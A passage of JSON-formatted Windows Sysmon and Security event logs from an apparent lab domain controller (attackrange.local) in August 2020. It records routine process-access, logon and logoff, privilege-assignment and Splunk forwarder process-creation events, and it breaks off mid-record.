C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5937,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5938,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5939,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:42.823\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-417A-5F2D-0000-00108BD80800}\r\nTargetProcessId: 3416\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:42.823","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-417A-5F2D-0000-00108BD80800}","TargetProcessId":"3416","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222234,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x5FDF7\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x5fdf7","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222235,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8E0BB\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8e0bb","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:57:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222236,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x8E0BB\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51472\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x8e0bb","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51472","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:57:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222237,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8E0BB\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8e0bb","LogonType":"3","EventReceivedTime":"2020-08-07 11:57:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:36.558\r\nProcessGuid: {90617006-41B0-5F2D-0000-0010F6E50800}\r\nProcessId: 2900\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nFileVersion: 10.0.10011.16384\r\nDescription: SplunkMonNoHandle Control Program\r\nProduct: Windows (R) Win 7 DDK driver\r\nCompany: Windows (R) Win 7 DDK provider\r\nOriginalFileName: SplunkMonNoHandle.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:57:36.558","ProcessGuid":"{90617006-41B0-5F2D-0000-0010F6E50800}","Image":"C:\\Program 